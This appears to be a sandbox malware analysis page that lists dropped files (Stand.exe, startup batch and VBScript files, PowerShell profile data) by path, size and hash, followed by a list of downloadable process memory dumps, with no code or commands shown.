Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31
MD5 d0a4a3b9a52b8fe3b019f6cd0ef3dad6
SHA1 fed70ce7834c3b97edbd078eccda1e5effa527cd
SHA512 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 96c5da160af8c046f79c8042b8ad843a25dfc34a327e1b6d454df43d80523501
MD5 89075a7cabb20ee22307ea6094584354
SHA1 f578b44ae9ef6b8d2e18d2294bfe9925a16f43b5
SHA512 cce7faf1da639a81a485ef667398e0c4f060417a6227edfacf49fff97a5abda6f25646c99f974ccb4f993a6d22dc5cf41b9796c713c9c66f8559893ac41597d0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 1c0c0c86d7c736fc9fb148ac7cd6e67565dc5b76fa116ae3b000a79e91855136
MD5 2e0391d00f5bfbc34be70790f14d5edf
SHA1 fcb04d8599c23967de4f154a101be480933ab0d0
SHA512 231b9cc6efb928f0748cef04f287d9204c4f7d2eb4bc27f345e9a1afc6d0675057978ca44d1a95334ee2380709aa6dbe74015fedff8f17611a64efcfb9f64d2a
MD5 SHA1 SHA512

Submit Download

Stand.exe

Path C:\Users\Admin\AppData\Local\Temp\Stand.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_msyi2scf.vbu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_msyi2scf.vbu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_689.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_689.bat
Size 416KB
SHA256 e9edb1e8c21d65b5ff4210554de3123bc694bb1e8fd0581870654ed0dba33645
MD5 46e6dd09d1a2ff05a3c8ad72013d8b14
SHA1 06119e12af61cb1715db2312bd332dcc66c4b263
SHA512 62a93c92175831c990430def2dd439b1dcc84efeb998292a1860668576c31dc32bd782ccc9cbb42c129b0ee0c5a59a19022929b228a4c895d717e7cdb4158c92
SSDEEP 12288:PjYGFLC6Vrgl1/Qro/uU9w3I4WTVzuRkaKq:PVo/SNYdm
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_689.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_689.vbs
Size 124B
SHA256 2f9f30e933351c4d54a7f2ec27a94346255fadfe6fadc26e8a8e202ce4075812
MD5 6743a41c9152e8a96eb5a4bb9e2d6511
SHA1 72242d4877e7e18a70932563e2ed71ff6f98a3b1
SHA512 cacc0a196ad53876b0e8c97647744b0bb5950d668a955338334f276f525dc2bac8a326d066e4cc42bf9e2d43db2f556795034564b842d1ecf14fa447856510f7
MD5 SHA1 SHA512

Submit Download

memory/476-111-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/864-14-0x000001BEE9DC0000-0x000001BEE9DC8000-memory.dmp

Download

memory/864-9-0x000001BEE99E0000-0x000001BEE9A02000-memory.dmp

Download

memory/864-103-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/864-13-0x000001BEE9DF0000-0x000001BEE9E36000-memory.dmp

Download

memory/864-12-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/864-11-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/864-0-0x00007FFD03473000-0x00007FFD03475000-memory.dmp

Download

memory/864-15-0x000001BEE9E40000-0x000001BEE9E90000-memory.dmp

Download

memory/864-10-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/980-98-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/1180-102-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/1376-101-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/1668-106-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/1700-99-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/1720-110-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/1752-104-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2256-95-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2496-105-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2504-112-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2564-97-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2656-107-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2684-108-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/2856-100-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/3240-47-0x00000000061C0000-0x00000000061EA000-memory.dmp

Download

memory/3240-94-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download

memory/4544-142-0x000002452F840000-0x000002452F860000-memory.dmp

Download

memory/4824-30-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/4824-27-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/4824-26-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/4824-17-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp

Download

memory/5052-96-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp

Download